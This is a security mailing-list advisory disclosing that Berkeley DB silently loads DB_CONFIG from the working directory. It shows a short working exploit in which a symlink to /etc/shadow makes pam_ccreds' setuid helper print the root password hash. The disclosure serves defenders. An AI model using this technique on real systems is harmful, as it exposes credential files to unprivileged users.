oss-security - Berkeley DB reads DB

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Date: Sun, 11 Jun 2017 00:06:13 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: Berkeley DB reads DB_CONFIG from cwd

Apparently Berkeley DB reads the DB_CONFIG configuration file from the current 
working directory by default[*]. This is surprising and AFAICT undocumented.

Here's how to exploit it against pam_ccreds:

    $ cat /etc/shadow
    cat: /etc/shadow: Permission denied
    $ ln -sf /etc/shadow DB_CONFIG
    $ /sbin/ccreds_chkpwd moo < /dev/null
    BDB1584 line 1: root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7:::: incorrect name-value pair

(The above was tested on Debian jessie.)

In the past, nss_db was also exploitable:
CVE-2010-0826

[*] More precisely, this seem to happen when you call db_create() with 
dbenv=NULL; or if you use the dbm_open() function.

-- 
Jakub Wilk

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